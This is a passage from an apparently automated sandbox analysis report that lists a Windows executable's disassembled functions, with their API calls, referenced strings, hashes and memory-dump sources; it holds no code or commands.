                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memsetwcsspn
                                                    • String ID:
                                                    • API String ID: 3809306610-0
                                                    • Opcode ID: b301965ff12d262252dd12f41c330d116590c5451c87bac9252232e49858c122
                                                    • Instruction ID: b8200fccdbfe5b32110f629fea7530ce8cf0306926e0aa33d747200adaebafbf
                                                    • Opcode Fuzzy Hash: b301965ff12d262252dd12f41c330d116590c5451c87bac9252232e49858c122
                                                    • Instruction Fuzzy Hash: 9AB1A072E18B5681EA509B9DE4902B977A0FF58B80F458031CB4E8BBB5DF7CE851C750
                                                    Function 00007FF6BF3F8C18 Relevance: 9.1, APIs: 6, Instructions: 145COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$iswdigit$wcstol
                                                    • String ID:
                                                    • API String ID: 3841054028-0
                                                    • Opcode ID: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
                                                    • Instruction ID: 28569d00fbc2f4d85d4232fcbb8b36e3412cdee226b319de55f44b97ef4f64ca
                                                    • Opcode Fuzzy Hash: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
                                                    • Instruction Fuzzy Hash: 38512826A0865291EBA89B6DD4001B977A1FF69B50F448231EF5DCB2F4EF3CE455C350
                                                    Function 00007FF6BF3D5984 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3F3687
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF6BF3D260D), ref: 00007FF6BF3F36A6
                                                    • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF6BF3D260D), ref: 00007FF6BF3F36EB
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3F3703
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF6BF3D260D), ref: 00007FF6BF3F3722
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$Write_get_osfhandle$Mode
                                                    • String ID:
                                                    • API String ID: 1066134489-0
                                                    • Opcode ID: 4c1f695bad35c7bf589eba106c736ecb6e681f2494b966e2c9ca81186bfba4b7
                                                    • Instruction ID: 6f9ddd1b3852749015c461a34e66a1a22e4fc1a8ee31e356b9ca09ec34161f33
                                                    • Opcode Fuzzy Hash: 4c1f695bad35c7bf589eba106c736ecb6e681f2494b966e2c9ca81186bfba4b7
                                                    • Instruction Fuzzy Hash: 5A51C076B0864297FAA45FA9A4445BAAB90FF54B94F084035DF0E8B7B1DF3CE4548B80
                                                    Function 00007FF6BF3D89C0 Relevance: 9.1, APIs: 6, Instructions: 85COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$DriveErrorInformationLastTypeVolume
                                                    • String ID:
                                                    • API String ID: 850181435-0
                                                    • Opcode ID: 41e637cf901b3345656d12757c0875431f92b4df5430d67bb2a32cad95087ec1
                                                    • Instruction ID: 893b5c1136969302ee7f61bd6b5e4009f7add8793cb6a4527603e4ef5666114b
                                                    • Opcode Fuzzy Hash: 41e637cf901b3345656d12757c0875431f92b4df5430d67bb2a32cad95087ec1
                                                    • Instruction Fuzzy Hash: D4418F36618BC1C9E7718F68D8442E97BA4FB89B44F444525DB4D8BB68CF38D949C740
                                                    Function 00007FF6BF3E34A0 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E3578: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3584
                                                      • Part of subcall function 00007FF6BF3E3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E359C
                                                      • Part of subcall function 00007FF6BF3E3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35C3
                                                      • Part of subcall function 00007FF6BF3E3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35D9
                                                      • Part of subcall function 00007FF6BF3E3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35ED
                                                      • Part of subcall function 00007FF6BF3E3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E3602
                                                    • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E3514
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3E3522
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E3541
                                                    • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E355E
                                                      • Part of subcall function 00007FF6BF3E36EC: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3715
                                                      • Part of subcall function 00007FF6BF3E36EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF6BF3E3770
                                                      • Part of subcall function 00007FF6BF3E36EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E3791
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
                                                    • String ID:
                                                    • API String ID: 4057327938-0
                                                    • Opcode ID: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
                                                    • Instruction ID: 77a915b426d64220ca565819d9eded5416be6a2873dd408a7d2ba245f8c3e7c3
                                                    • Opcode Fuzzy Hash: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
                                                    • Instruction Fuzzy Hash: CA316F31E18A42C6E7509BAD940007DBBA0FF89B40F454135DF0ECA7B6DE3CE8548750
                                                    Function 00007FF6BF3FBE30 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 60COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmpwcschr$Heap$AllocProcessiswspace
                                                    • String ID: KEYS$LIST$OFF
                                                    • API String ID: 411561164-4129271751
                                                    • Opcode ID: 9fd236f794765471c688532a78fffa23d2b2533206d05d2e386dcf7da8b9c818
                                                    • Instruction ID: 07e82b6ae3c0532cd5c9d7dc6902c6b295a15e5bd4363dc03b4a822214bcf31d
                                                    • Opcode Fuzzy Hash: 9fd236f794765471c688532a78fffa23d2b2533206d05d2e386dcf7da8b9c818
                                                    • Instruction Fuzzy Hash: EA217F64A18603C2F7549BADE84117967A1EFA87A0F409235C71FCA2F6EF7CE4448780
                                                    Function 00007FF6BF3E01B8 Relevance: 9.1, APIs: 6, Instructions: 57COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3E01C4
                                                    • GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF6BF3EE904,?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E01D6
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,00007FF6BF3EE904,?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E0212
                                                    • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF6BF3EE904,?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E0228
                                                    • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,00007FF6BF3EE904,?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E023C
                                                    • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF6BF3EE904,?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E0251
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
                                                    • String ID:
                                                    • API String ID: 513048808-0
                                                    • Opcode ID: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
                                                    • Instruction ID: 82063694d5f67c6139d215c6b524237446626cd8e0ac9a85aa315cd031ee4bf4
                                                    • Opcode Fuzzy Hash: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
                                                    • Instruction Fuzzy Hash: AF21897192C68287F6604BECA5842787FA0FF5A755F145235DB1ECA2B2CFBCE8588740
                                                    Function 00007FF6BF3E9584 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
                                                    • String ID:
                                                    • API String ID: 4104442557-0
                                                    • Opcode ID: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
                                                    • Instruction ID: 360d7eb3a821439b795f6a5276291d6d969972889f2d48145f546052d3ea5edc
                                                    • Opcode Fuzzy Hash: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
                                                    • Instruction Fuzzy Hash: F7113332605F418AEB00DFB8E8542B833A4FB59758F400A35EB6D87B65DF7CD5A48344
                                                    Function 00007FF6BF3E3578 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3E3584
                                                    • GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E359C
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35C3
                                                    • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35D9
                                                    • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35ED
                                                    • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E3602
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
                                                    • String ID:
                                                    • API String ID: 513048808-0
                                                    • Opcode ID: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
                                                    • Instruction ID: 0313d635b4d398813b598b14344d30d34df8734178418c384fa9ac804167df07
                                                    • Opcode Fuzzy Hash: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
                                                    • Instruction Fuzzy Hash: C4118E31A18A4282EA104BB8A4840386FA0FF5A764F445331DB2E873F1DE7CD8548740
                                                    Function 00007FF6BF3F711C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 175COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6BF3F71F9
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3F720D
                                                    • OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6BF3F7300
                                                      • Part of subcall function 00007FF6BF3F5740: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?,?,00007FF6BF3F75C4,?,?,00000000,00007FF6BF3F6999,?,?,?,?,?,00007FF6BF3E8C39), ref: 00007FF6BF3F5744
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: OpenSemaphore$CloseErrorHandleLast
                                                    • String ID: _p0$wil
                                                    • API String ID: 455305043-1814513734
                                                    • Opcode ID: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
                                                    • Instruction ID: 3c21e8020fec7af8c4d1fd72f579ba0d64b86ac8c1492720b7116adbfa0e8303
                                                    • Opcode Fuzzy Hash: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
                                                    • Instruction Fuzzy Hash: 7461C562B1864296EFA5CFAD94141BD63A1FF88B80F544432DB0ECB7A5EF3CE5058780
                                                    Function 00007FF6BF3D1DC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heapiswspacememset$AllocProcess
                                                    • String ID: %s
                                                    • API String ID: 2401724867-3043279178
                                                    • Opcode ID: 68dfd2aa9ebba26de86c3f9daebedc58b35cbe7b50de7833d958d4803dd9749a
                                                    • Instruction ID: caca641c9399076d1ff08e5084ff478c7e49f76dc050d0ed997ac0d617a66d79
                                                    • Opcode Fuzzy Hash: 68dfd2aa9ebba26de86c3f9daebedc58b35cbe7b50de7833d958d4803dd9749a
                                                    • Instruction Fuzzy Hash: E451DD72A1868286EB609FA9E8002F973A0EF49B84F044135DB8D8B7B5EF3CE555C740
                                                    Function 00007FF6BF3DE260 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: iswdigit
                                                    • String ID: GeToken: (%x) '%s'
                                                    • API String ID: 3849470556-1994581435
                                                    • Opcode ID: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
                                                    • Instruction ID: dbebdeb4ab7f3ff874cdf8a05150c4803ece7445763017a0bfa1466fb0d33276
                                                    • Opcode Fuzzy Hash: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
                                                    • Instruction Fuzzy Hash: 2C51973AA5865285EB249FAEA4442793BA0FF54B44F448435DB4DCB3B2DF7CE890C790
                                                    Function 00007FF6BF3F992C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3F9A10
                                                    • RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3F9994
                                                      • Part of subcall function 00007FF6BF3FA73C: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA77A
                                                      • Part of subcall function 00007FF6BF3FA73C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA839
                                                      • Part of subcall function 00007FF6BF3FA73C: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA850
                                                    • wcsrchr.MSVCRT ref: 00007FF6BF3F9A62
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$CloseEnumOpenwcsrchr
                                                    • String ID: %s=%s$.
                                                    • API String ID: 3242694432-4275322459
                                                    • Opcode ID: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
                                                    • Instruction ID: 4b7ccecf1c113920a5521eadb1707b0d0c4f6987472b85f5f09efa05e8b6a44c
                                                    • Opcode Fuzzy Hash: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
                                                    • Instruction Fuzzy Hash: EF41B621A0E74285FE509BA9A4702BA63A0FF45790F444134DF5D8F7F6EE7CE4558380
                                                    Function 00007FF6BF3F54B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 120synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6BF3F54E6
                                                    • CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6BF3F552E
